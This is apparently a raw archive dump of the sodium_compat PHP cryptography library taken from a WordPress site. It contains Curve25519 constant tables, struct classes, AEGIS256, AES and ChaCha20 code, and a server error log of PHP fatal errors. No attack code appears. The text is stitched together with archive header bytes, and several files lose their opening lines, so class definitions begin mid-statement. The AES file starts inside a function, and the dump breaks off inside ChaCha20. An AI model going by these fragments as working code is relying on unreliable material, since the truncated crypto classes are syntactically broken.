-11716016, 16959896, 2278463, 12066309, 10137771, 13515641, 2581286, -28487508, 9930240), ), array( array(-17751622, -2097826, 16544300, -13009300, -15914807, -14949081, 18345767, -13403753, 16291481, -5314038), array(-33229194, 2553288, 32678213, 9875984, 8534129, 6889387, -9676774, 6957617, 4368891, 9788741), array(16660756, 7281060, -10830758, 12911820, 20108584, -8101676, -21722536, -8613148, 16250552, -11111103), ), array( array(-19765507, 2390526, -16551031, 14161980, 1905286, 6414907, 4689584, 10604807, -30190403, 4782747), array(-1354539, 14736941, -7367442, -13292886, 7710542, -14155590, -9981571, 4383045, 22546403, 437323), array(31665577, -12180464, -16186830, 1491339, -18368625, 3294682, 27343084, 2786261, -30633590, -14097016), ), array( array(-14467279, -683715, -33374107, 7448552, 19294360, 14334329, -19690631, 2355319, -19284671, -6114373), array(15121312, -15796162, 6377020, -6031361, -10798111, -12957845, 18952177, 15496498, -29380133, 11754228), array(-2637277, -13483075, 8488727, -14303896, 12728761, -1622493, 7141596, 11724556, 22761615, -10134141), ), array( array(16918416, 11729663, -18083579, 3022987, -31015732, -13339659, -28741185, -12227393, 32851222, 11717399), array(11166634, 7338049, -6722523, 4531520, -29468672, -7302055, 31474879, 3483633, -1193175, -4030831), array(-185635, 9921305, 31456609, -13536438, -12013818, 13348923, 33142652, 6546660, -19985279, -3948376), ), array( array(-32460596, 11266712, -11197107, -7899103, 31703694, 3855903, -8537131, -12833048, -30772034, -15486313), array(-18006477, 12709068, 3991746, -6479188, -21491523, -10550425, -31135347, -16049879, 10928917, 3011958), array(-6957757, -15594337, 31696059, 334240, 29576716, 14796075, -30831056, -12805180, 18008031, 10258577), ), array( array(-22448644, 15655569, 7018479, -4410003, -30314266, -1201591, -1853465, 1367120, 25127874, 6671743), array(29701166, -14373934, -10878120, 9279288, -17568, 13127210, 21382910, 11042292, 25838796, 4642684), array(-20430234, 14955537, -24126347, 8124619, -5369288, -5990470, 30468147, -13900640, 18423289, 4177476), ), ) ); /** * See: libsodium's crypto_core/curve25519/ref10/base2.h * * @var array basically int[8][3] */ protected static $base2 = array( array( array(25967493, -14356035, 29566456, 3660896, -12694345, 4014787, 27544626, -11754271, -6079156, 2047605), array(-12545711, 934262, -2722910, 3049990, -727428, 9406986, 12720692, 5043384, 19500929, -15469378), array(-8738181, 4489570, 9688441, -14785194, 10184609, -12363380, 29287919, 11864899, -24514362, -4438546), ), array( array(15636291, -9688557, 24204773, -7912398, 616977, -16685262, 27787600, -14772189, 28944400, -1550024), array(16568933, 4717097, -11556148, -1102322, 15682896, -11807043, 16354577, -11775962, 7689662, 11199574), array(30464156, -5976125, -11779434, -15670865, 23220365, 15915852, 7512774, 10017326, -17749093, -9920357), ), array( array(10861363, 11473154, 27284546, 1981175, -30064349, 12577861, 32867885, 14515107, -15438304, 10819380), array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696, -25653668, 12483688, -12668491, 5581306), array(19563160, 16186464, -29386857, 4097519, 10237984, -4348115, 28542350, 13850243, -23678021, -15815942), ), array( array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873, 19480852, 5230134, -23952439, -15175766), array(-30269007, -3463509, 7665486, 10083793, 28475525, 1649722, 20654025, 16520125, 30598449, 7715701), array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316, -31400660, 1370708, 29794553, -1409300), ), array( array(-22518993, -6692182, 14201702, -8745502, -23510406, 8844726, 18474211, -1361450, -13062696, 13821877), array(-6455177, -7839871, 3374702, -4740862, -27098617, -10571707, 31655028, -7212327, 18853322, -14220951), array(4566830, -12963868, -28974889, -12240689, -7602672, -2830569, -8514358, -10431137, 2207753, -3209784), ), array( array(-25154831, -4185821, 29681144, 7868801, -6854661, -9423865, -12437364, -663000, -31111463, -16132436), array(25576264, -2703214, 7349804, -11814844, 16472782, 9300885, 3844789, 15725684, 171356, 6466918), array(23103977, 13316479, 9739013, -16149481, 817875, -15038942, 8965339, -14088058, -30714912, 16193877), ), array( array(-33521811, 3180713, -2394130, 14003687, -16903474, -16270840, 17238398, 4729455, -18074513, 9256800), array(-25182317, -4174131, 32336398, 5036987, -21236817, 11360617, 22616405, 9761698, -19827198, 630305), array(-13720693, 2639453, -24237460, -7406481, 9494427, -5774029, -6554551, -15960994, -2449256, -14291300), ), array( array(-3151181, -5046075, 9282714, 6866145, -31907062, -863023, -18940575, 15033784, 25105118, -7894876), array(-24326370, 15950226, -31801215, -14592823, -11662737, -5090925, 1573892, -2625887, 2198790, -15804619), array(-3099351, 10324967, -2241613, 7453183, -5446979, -2735503, -13812022, -16236442, -32461234, -12290683), ) ); /** * 37095705934669439343138083508754565189542113879843219016388785533085940283555 * * @var array */ protected static $d = array( -10913610, 13857413, -15372611, 6949391, 114729, -8787816, -6275908, -3247719, -18696448, -12055116 ); /** * 2 * d = 16295367250680780974490674513165176452449235426866156013048779062215315747161 * * @var array */ protected static $d2 = array( -21827239, -5839606, -30745221, 13898782, 229458, 15978800, -12551817, -6495438, 29715968, 9444199 ); /** * sqrt(-1) * * @var array */ protected static $sqrtm1 = array( -32595792, -7943725, 9377950, 3500415, 12389472, -272473, -25146209, -2005654, 326686, 11406482 ); /** * 1 / sqrt(a - d) * * @var array */ protected static $invsqrtamd = array( 6111485, 4156064, -27798727, 12243468, -25904040, 120897, 20826367, -7060776, 6093568, -1986012 ); /** * sqrt(ad - 1) with a = -1 (mod p) * * @var array */ protected static $sqrtadm1 = array( 24849947, -153582, -23613485, 6347715, -21072328, -667138, -25271143, -15367704, -870347, 14525639 ); /** * 1 - d ^ 2 * * @var array */ protected static $onemsqd = array( 6275446, -16617371, -22938544, -3773710, 11667077, 7397348, -27922721, 1766195, -24433858, 672203 ); /** * (d - 1) ^ 2 * @var array */ protected static $sqdmone = array( 15551795, -11097455, -13425098, -10125071, -11896535, 10178284, -26634327, 4729244, -5282110, -10116402 ); /* * 2^252+27742317777372353535851937790883648493 static const unsigned char L[] = { 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10 }; */ const L = "\xed\xd3\xf5\x5c\x1a\x63\x12\x58\xd6\x9c\xf7\xa2\xde\xf9\xde\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10"; } PK!珉src/Core/Curve25519/README.mdnu[# Curve25519 Data Structures These are PHP implementation of the [structs used in the ref10 curve25519 code](https://github.com/jedisct1/libsodium/blob/master/src/libsodium/include/sodium/private/curve25519_ref10.h). PK!-src/Core/Curve25519/error_lognu[[04-Sep-2026 13:27:34 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12 [04-Sep-2026 13:40:01 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12 [10-Sep-2026 10:35:41 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12 [10-Sep-2026 14:01:31 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12 [10-Sep-2026 14:12:41 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12 [10-Sep-2026 22:10:04 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12 PK!rr"src/Core/Curve25519/Ge/Precomp.phpnu[yplusx = $yplusx; if ($yminusx === null) { $yminusx = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($yminusx instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 2 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->yminusx = $yminusx; if ($xy2d === null) { $xy2d = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($xy2d instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 3 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->xy2d = $xy2d; } } PK!rB B !src/Core/Curve25519/Ge/Cached.phpnu[YplusX = $YplusX; if ($YminusX === null) { $YminusX = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($YminusX instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 2 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->YminusX = $YminusX; if ($Z === null) { $Z = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($Z instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 3 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->Z = $Z; if ($T2d === null) { $T2d = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($T2d instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 4 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->T2d = $T2d; } } PK!src/Core/Curve25519/Ge/P2.phpnu[X = $x; if ($y === null) { $y = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($y instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 2 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->Y = $y; if ($z === null) { $z = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($z instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 3 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->Z = $z; } } PK!"Msrc/Core/Curve25519/Ge/P3.phpnu[X = $x; if ($y === null) { $y = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($y instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 2 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->Y = $y; if ($z === null) { $z = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($z instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 3 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->Z = $z; if ($t === null) { $t = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($t instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 4 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->T = $t; } } PK!src/Core/Curve25519/Ge/P1p1.phpnu[X = $x; if ($y === null) { $y = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($y instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 2 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->Y = $y; if ($z === null) { $z = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($z instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 3 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->Z = $z; if ($t === null) { $t = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($t instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 4 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->T = $t; } } PK!7Asrc/Core/AEGIS256.phpnu[> 4; // for ai in ad_blocks: // Absorb(ai) for ($i = 0; $i < $ad_blocks; ++$i) { $ai = self::substr($ad, $i << 4, 16); if (self::strlen($ai) < 16) { $ai = str_pad($ai, 16, "\0", STR_PAD_RIGHT); } $state->absorb($ai); } $msg = ''; $cn = self::strlen($ct) & 15; $ct_blocks = self::strlen($ct) >> 4; // ct_blocks = Split(ZeroPad(ct, 128), 128) // cn = Tail(ct, |ct| mod 128) for ($i = 0; $i < $ct_blocks; ++$i) { $msg .= $state->dec(self::substr($ct, $i << 4, 16)); } // if cn is not empty: // msg = msg || DecPartial(cn) if ($cn) { $start = $ct_blocks << 4; $msg .= $state->decPartial(self::substr($ct, $start, $cn)); } $expected_tag = $state->finalize( self::strlen($ad) << 3, self::strlen($msg) << 3 ); if (!self::hashEquals($expected_tag, $tag)) { try { // The RFC says to erase msg, so we shall try: ParagonIE_Sodium_Compat::memzero($msg); } catch (SodiumException $ex) { // Do nothing if we cannot memzero } throw new SodiumException('verification failed'); } return $msg; } /** * @param string $msg * @param string $ad * @param string $key * @param string $nonce * @return array * @throws SodiumException */ public static function encrypt($msg, $ad, $key, $nonce) { $state = self::init($key, $nonce); $ad_len = self::strlen($ad); $msg_len = self::strlen($msg); $ad_blocks = ($ad_len + 15) >> 4; for ($i = 0; $i < $ad_blocks; ++$i) { $ai = self::substr($ad, $i << 4, 16); if (self::strlen($ai) < 16) { $ai = str_pad($ai, 16, "\0", STR_PAD_RIGHT); } $state->absorb($ai); } $ct = ''; $msg_blocks = ($msg_len + 15) >> 4; for ($i = 0; $i < $msg_blocks; ++$i) { $xi = self::substr($msg, $i << 4, 16); if (self::strlen($xi) < 16) { $xi = str_pad($xi, 16, "\0", STR_PAD_RIGHT); } $ct .= $state->enc($xi); } $tag = $state->finalize( $ad_len << 3, $msg_len << 3 ); return array( self::substr($ct, 0, $msg_len), $tag ); } /** * @param string $key * @param string $nonce * @return ParagonIE_Sodium_Core_AEGIS_State256 */ public static function init($key, $nonce) { return ParagonIE_Sodium_Core_AEGIS_State256::init($key, $nonce); } } PK!f( > >src/Core/AES.phpnu[orthogonalize(); self::sbox($q); $q->orthogonalize(); return $q[0] & self::U32_MAX; } /** * Calculate the key schedule from a given random key * * @param string $key * @return ParagonIE_Sodium_Core_AES_KeySchedule * @throws SodiumException */ public static function keySchedule($key) { $key_len = self::strlen($key); switch ($key_len) { case 16: $num_rounds = 10; break; case 24: $num_rounds = 12; break; case 32: $num_rounds = 14; break; default: throw new SodiumException('Invalid key length: ' . $key_len); } $skey = array(); $comp_skey = array(); $nk = $key_len >> 2; $nkf = ($num_rounds + 1) << 2; $tmp = 0; for ($i = 0; $i < $nk; ++$i) { $tmp = self::load_4(self::substr($key, $i << 2, 4)); $skey[($i << 1)] = $tmp; $skey[($i << 1) + 1] = $tmp; } for ($i = $nk, $j = 0, $k = 0; $i < $nkf; ++$i) { if ($j === 0) { $tmp = (($tmp & 0xff) << 24) | ($tmp >> 8); $tmp = (self::subWord($tmp) ^ self::$Rcon[$k]) & self::U32_MAX; } elseif ($nk > 6 && $j === 4) { $tmp = self::subWord($tmp); } $tmp ^= $skey[($i - $nk) << 1]; $skey[($i << 1)] = $tmp & self::U32_MAX; $skey[($i << 1) + 1] = $tmp & self::U32_MAX; if (++$j === $nk) { /** @psalm-suppress LoopInvalidation */ $j = 0; ++$k; } } for ($i = 0; $i < $nkf; $i += 4) { $q = ParagonIE_Sodium_Core_AES_Block::fromArray( array_slice($skey, $i << 1, 8) ); $q->orthogonalize(); // We have to overwrite $skey since we're not using C pointers like BearSSL did for ($j = 0; $j < 8; ++$j) { $skey[($i << 1) + $j] = $q[$j]; } } for ($i = 0, $j = 0; $i < $nkf; ++$i, $j += 2) { $comp_skey[$i] = ($skey[$j] & 0x55555555) | ($skey[$j + 1] & 0xAAAAAAAA); } return new ParagonIE_Sodium_Core_AES_KeySchedule($comp_skey, $num_rounds); } /** * Mutates $q * * @param ParagonIE_Sodium_Core_AES_KeySchedule $skey * @param ParagonIE_Sodium_Core_AES_Block $q * @param int $offset * @return void */ public static function addRoundKey( ParagonIE_Sodium_Core_AES_Block $q, ParagonIE_Sodium_Core_AES_KeySchedule $skey, $offset = 0 ) { $block = $skey->getRoundKey($offset); for ($j = 0; $j < 8; ++$j) { $q[$j] = ($q[$j] ^ $block[$j]) & ParagonIE_Sodium_Core_Util::U32_MAX; } } /** * This mainly exists for testing, as we need the round key features for AEGIS. * * @param string $message * @param string $key * @return string * @throws SodiumException */ public static function decryptBlockECB($message, $key) { if (self::strlen($message) !== 16) { throw new SodiumException('decryptBlockECB() expects a 16 byte message'); } $skey = self::keySchedule($key)->expand(); $q = ParagonIE_Sodium_Core_AES_Block::init(); $q[0] = self::load_4(self::substr($message, 0, 4)); $q[2] = self::load_4(self::substr($message, 4, 4)); $q[4] = self::load_4(self::substr($message, 8, 4)); $q[6] = self::load_4(self::substr($message, 12, 4)); $q->orthogonalize(); self::bitsliceDecryptBlock($skey, $q); $q->orthogonalize(); return self::store32_le($q[0]) . self::store32_le($q[2]) . self::store32_le($q[4]) . self::store32_le($q[6]); } /** * This mainly exists for testing, as we need the round key features for AEGIS. * * @param string $message * @param string $key * @return string * @throws SodiumException */ public static function encryptBlockECB($message, $key) { if (self::strlen($message) !== 16) { throw new SodiumException('encryptBlockECB() expects a 16 byte message'); } $comp_skey = self::keySchedule($key); $skey = $comp_skey->expand(); $q = ParagonIE_Sodium_Core_AES_Block::init(); $q[0] = self::load_4(self::substr($message, 0, 4)); $q[2] = self::load_4(self::substr($message, 4, 4)); $q[4] = self::load_4(self::substr($message, 8, 4)); $q[6] = self::load_4(self::substr($message, 12, 4)); $q->orthogonalize(); self::bitsliceEncryptBlock($skey, $q); $q->orthogonalize(); return self::store32_le($q[0]) . self::store32_le($q[2]) . self::store32_le($q[4]) . self::store32_le($q[6]); } /** * Mutates $q * * @param ParagonIE_Sodium_Core_AES_Expanded $skey * @param ParagonIE_Sodium_Core_AES_Block $q * @return void */ public static function bitsliceEncryptBlock( ParagonIE_Sodium_Core_AES_Expanded $skey, ParagonIE_Sodium_Core_AES_Block $q ) { self::addRoundKey($q, $skey); for ($u = 1; $u < $skey->getNumRounds(); ++$u) { self::sbox($q); $q->shiftRows(); $q->mixColumns(); self::addRoundKey($q, $skey, ($u << 3)); } self::sbox($q); $q->shiftRows(); self::addRoundKey($q, $skey, ($skey->getNumRounds() << 3)); } /** * @param string $x * @param string $y * @return string */ public static function aesRound($x, $y) { $q = ParagonIE_Sodium_Core_AES_Block::init(); $q[0] = self::load_4(self::substr($x, 0, 4)); $q[2] = self::load_4(self::substr($x, 4, 4)); $q[4] = self::load_4(self::substr($x, 8, 4)); $q[6] = self::load_4(self::substr($x, 12, 4)); $rk = ParagonIE_Sodium_Core_AES_Block::init(); $rk[0] = $rk[1] = self::load_4(self::substr($y, 0, 4)); $rk[2] = $rk[3] = self::load_4(self::substr($y, 4, 4)); $rk[4] = $rk[5] = self::load_4(self::substr($y, 8, 4)); $rk[6] = $rk[7] = self::load_4(self::substr($y, 12, 4)); $q->orthogonalize(); self::sbox($q); $q->shiftRows(); $q->mixColumns(); $q->orthogonalize(); // add round key without key schedule: for ($i = 0; $i < 8; ++$i) { $q[$i] ^= $rk[$i]; } return self::store32_le($q[0]) . self::store32_le($q[2]) . self::store32_le($q[4]) . self::store32_le($q[6]); } /** * Process two AES blocks in one shot. * * @param string $b0 First AES block * @param string $rk0 First round key * @param string $b1 Second AES block * @param string $rk1 Second round key * @return string[] */ public static function doubleRound($b0, $rk0, $b1, $rk1) { $q = ParagonIE_Sodium_Core_AES_Block::init(); // First block $q[0] = self::load_4(self::substr($b0, 0, 4)); $q[2] = self::load_4(self::substr($b0, 4, 4)); $q[4] = self::load_4(self::substr($b0, 8, 4)); $q[6] = self::load_4(self::substr($b0, 12, 4)); // Second block $q[1] = self::load_4(self::substr($b1, 0, 4)); $q[3] = self::load_4(self::substr($b1, 4, 4)); $q[5] = self::load_4(self::substr($b1, 8, 4)); $q[7] = self::load_4(self::substr($b1, 12, 4));; $rk = ParagonIE_Sodium_Core_AES_Block::init(); // First round key $rk[0] = self::load_4(self::substr($rk0, 0, 4)); $rk[2] = self::load_4(self::substr($rk0, 4, 4)); $rk[4] = self::load_4(self::substr($rk0, 8, 4)); $rk[6] = self::load_4(self::substr($rk0, 12, 4)); // Second round key $rk[1] = self::load_4(self::substr($rk1, 0, 4)); $rk[3] = self::load_4(self::substr($rk1, 4, 4)); $rk[5] = self::load_4(self::substr($rk1, 8, 4)); $rk[7] = self::load_4(self::substr($rk1, 12, 4)); $q->orthogonalize(); self::sbox($q); $q->shiftRows(); $q->mixColumns(); $q->orthogonalize(); // add round key without key schedule: for ($i = 0; $i < 8; ++$i) { $q[$i] ^= $rk[$i]; } return array( self::store32_le($q[0]) . self::store32_le($q[2]) . self::store32_le($q[4]) . self::store32_le($q[6]), self::store32_le($q[1]) . self::store32_le($q[3]) . self::store32_le($q[5]) . self::store32_le($q[7]), ); } /** * @param ParagonIE_Sodium_Core_AES_Expanded $skey * @param ParagonIE_Sodium_Core_AES_Block $q * @return void */ public static function bitsliceDecryptBlock( ParagonIE_Sodium_Core_AES_Expanded $skey, ParagonIE_Sodium_Core_AES_Block $q ) { self::addRoundKey($q, $skey, ($skey->getNumRounds() << 3)); for ($u = $skey->getNumRounds() - 1; $u > 0; --$u) { $q->inverseShiftRows(); self::invSbox($q); self::addRoundKey($q, $skey, ($u << 3)); $q->inverseMixColumns(); } $q->inverseShiftRows(); self::invSbox($q); self::addRoundKey($q, $skey, ($u << 3)); } } PK!pXsY2Y2src/Core/ChaCha20.phpnu[> (32 - $n)) ) ); } /** * The ChaCha20 quarter round function. Works on four 32-bit integers. * * @internal You should not use this directly from another application * * @param int $a * @param int $b * @param int $c * @param int $d * @return array */ protected static function quarterRound($a, $b, $c, $d) { # a = PLUS(a,b); d = ROTATE(XOR(d,a),16); /** @var int $a */ $a = ($a + $b) & 0xffffffff; $d = self::rotate($d ^ $a, 16); # c = PLUS(c,d); b = ROTATE(XOR(b,c),12); /** @var int $c */ $c = ($c + $d) & 0xffffffff; $b = self::rotate($b ^ $c, 12); # a = PLUS(a,b); d = ROTATE(XOR(d,a), 8); /** @var int $a */ $a = ($a + $b) & 0xffffffff; $d = self::rotate($d ^ $a, 8); # c = PLUS(c,d); b = ROTATE(XOR(b,c), 7); /** @var int $c */ $c = ($c + $d) & 0xffffffff; $b = self::rotate($b ^ $c, 7); return array((int) $a, (int) $b, (int) $c, (int) $d); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_ChaCha20_Ctx $ctx * @param string $message * * @return string * @throws TypeError * @throws SodiumException */ public static function encryptBytes( ParagonIE_Sodium_Core_ChaCha20_Ctx $ctx, $message = '' ) { $bytes = self::strlen($message); /* j0 = ctx->input[0]; j1 = ctx->input[1]; j2 = ctx->input[2]; j3 = ctx->input[3]; j4 = ctx->input[4]; j5 = ctx->input[5]; j6 = ctx->input[6]; j7 = ctx->input[7]; j8 = ctx->input[8]; j9 = ctx->input[9]; j10 = ctx->input[10]; j11 = ctx->input[11]; j12 = ctx->input[12]; j13 = ctx->input[13]; j14 = ctx->input[14]; j15 = ctx->input[15]; */ $j0 = (int) $ctx[0]; $j1 = (int) $ctx[1]; $j2 = (int) $ctx[2]; $j3 = (int) $ctx[3]; $j4 = (int) $ctx[4]; $j5 = (int) $ctx[5]; $j6 = (int) $ctx[6]; $j7 = (int) $ctx[7]; $j8 = (int) $ctx[8]; $j9 = (int) $ctx[9]; $j10 = (int) $ctx[10]; $j11 = (int) $ctx[11]; $j12 = (int) $ctx[12]; $j13 = (int) $ctx[13]; $j14 = (int) $ctx[14]; $j15 = (int) $ctx[15]; $c = ''; for (;;) { if ($bytes < 64) { $message .= str_repeat("\x00", 64 - $bytes); } $x0 = (int) $j0; $x1 = (int) $j1; $x2 = (int) $j2; $x3 = (int) $j3; $x4 = (int) $j4; $x5 = (int) $j5; $x6 = (int) $j6; $x7 = (int) $j7; $x8 = (int) $j8; $x9 = (int) $j9; $x10 = (int) $j10; $x11 = (int) $j11; $x12 = (int) $j12; $x13 = (int) $j13; $x14 = (int) $j14; $x15 = (int) $j15; # for (i = 20; i > 0; i -= 2) { for ($i = 20; $i > 0; $i -= 2) { # QUARTERROUND( x0, x4, x8, x12) list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4, $x8, $x12); # QUARTERROUND( x1, x5, x9, x13) list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5, $x9, $x13); # QUARTERROUND( x2, x6, x10, x14) list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6, $x10, $x14); # QUARTERROUND( x3, x7, x11, x15) list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7, $x11, $x15); # QUARTERROUND( x0, x5, x10, x15) list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5, $x10, $x15); # QUARTERROUND( x1, x6, x11, x12) list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6, $x11, $x12); # QUARTERROUND( x2, x7, x8, x13) list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7, $x8, $x13); # QUARTERROUND( x3, x4, x9, x14) list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4, $x9, $x14); } /* x0 = PLUS(x0, j0); x1 = PLUS(x1, j1); x2 = PLUS(x2, j2); x3 = PLUS(x3, j3); x4 = PLUS(x4, j4); x5 = PLUS(x5, j5); x6 = PLUS(x6, j6); x7 = PLUS(x7, j7); x8 = PLUS(x8, j8); x9 = PLUS(x9, j9); x10 = PLUS(x10, j10); x11 = PLUS(x11, j11); x12 = PLUS(x12, j12); x13 = PLUS(x13, j13); x14 = PLUS(x14, j14); x15 = PLUS(x15, j15); */ /** @var int $x0 */ $x0 = ($x0 & 0xffffffff) + $j0; /** @var int $x1 */ $x1 = ($x1 & 0xffffffff) + $j1; /** @var int $x2 */ $x2 = ($x2 & 0xffffffff) + $j2; /** @var int $x3 */ $x3 = ($x3 & 0xffffffff) + $j3; /** @var int $x4 */ $x4 = ($x4 & 0xffffffff) + $j4; /** @var int $x5 */ $x5 = ($x5 & 0xffffffff) + $j5; /** @var int $x6 */ $x6 = ($x6 & 0xffffffff) + $j6; /** @var int $x7 */ $x7 = ($x7 & 0xffffffff) + $j7; /** @var int $x8 */ $x8 = ($x8 & 0xffffffff) + $j8; /** @var int $x9 */ $x9 = ($x9 & 0xffffffff) + $j9; /** @var int $x10 */ $x10 = ($x10 & 0xffffffff) + $j10; /** @var int $x11 */ $x11 = ($x11 & 0xffffffff) + $j11; /** @var int $x12 */ $x12 = ($x12 & 0xffffffff) + $j12; /** @var int $x13 */ $x13 = ($x13 & 0xffffffff) + $j13; /** @var int $x14 */ $x14 = ($x14 & 0xffffffff) + $j14; /** @var int $x15 */ $x15 = ($x15 & 0xffffffff) + $j15; /* x0 = XOR(x0, LOAD32_LE(m + 0)); x1 = XOR(x1, LOAD32_LE(m + 4)); x2 = XOR(x2, LOAD32_LE(m + 8)); x3 = XOR(x3, LOAD32_LE(m + 12)); x4 = XOR(x4, LOAD32_LE(m + 16)); x5 = XOR(x5, LOAD32_LE(m + 20)); x6 = XOR(x6, LOAD32_LE(m + 24)); x7 = XOR(x7, LOAD32_LE(m + 28)); x8 = XOR(x8, LOAD32_LE(m + 32)); x9 = XOR(x9, LOAD32_LE(m + 36)); x10 = XOR(x10, LOAD32_LE(m + 40)); x11 = XOR(x11, LOAD32_LE(m + 44)); x12 = XOR(x12, LOAD32_LE(m + 48)); x13 = XOR(x13, LOAD32_LE(m + 52)); x14 = XOR(x14, LOAD32_LE(m + 56)); x15 = XOR(x15, LOAD32_LE(m + 60)); */ $x0 ^= self::load_4(self::substr($message, 0, 4)); $x1 ^= self::load_4(self::substr($message, 4, 4)); $x2 ^= self::load_4(self::substr($message, 8, 4)); $x3 ^= self::load_4(self::substr($message, 12, 4)); $x4 ^= self::load_4(self::substr($message, 16, 4)); $x5 ^= self::load_4(self::substr($message, 20, 4)); $x6 ^= self::load_4(self::substr($message, 24, 4)); $x7 ^= self::load_4(self::substr($message, 28, 4)); $x8 ^= self::load_4(self::substr($message, 32, 4)); $x9 ^= self::load_4(self::substr($message, 36, 4)); $x10 ^= self::load_4(self::substr($message, 40, 4)); $x11 ^= self::load_4(self::substr($message, 44, 4)); $x12 ^= self::load_4(self::substr($message, 48, 4)); $x13 ^= self::load_4(self::substr($message, 52, 4)); $x14 ^= self::load_4(self::substr($message, 56, 4)); $x15 ^= self::load_4(self::substr($message, 60, 4)); /* j12 = PLUSONE(j12); if (!j12) { j13 = PLUSONE(j13); } */ ++$j12; if ($j12 & 0xf0000000) { throw new SodiumException('Overflow'); } /* STORE32_LE(c + 0, x0); STORE32_LE(c + 4, x1); STORE32_LE(c + 8, x2); STORE32_LE(c + 12, x3); STORE32_LE(c + 16, 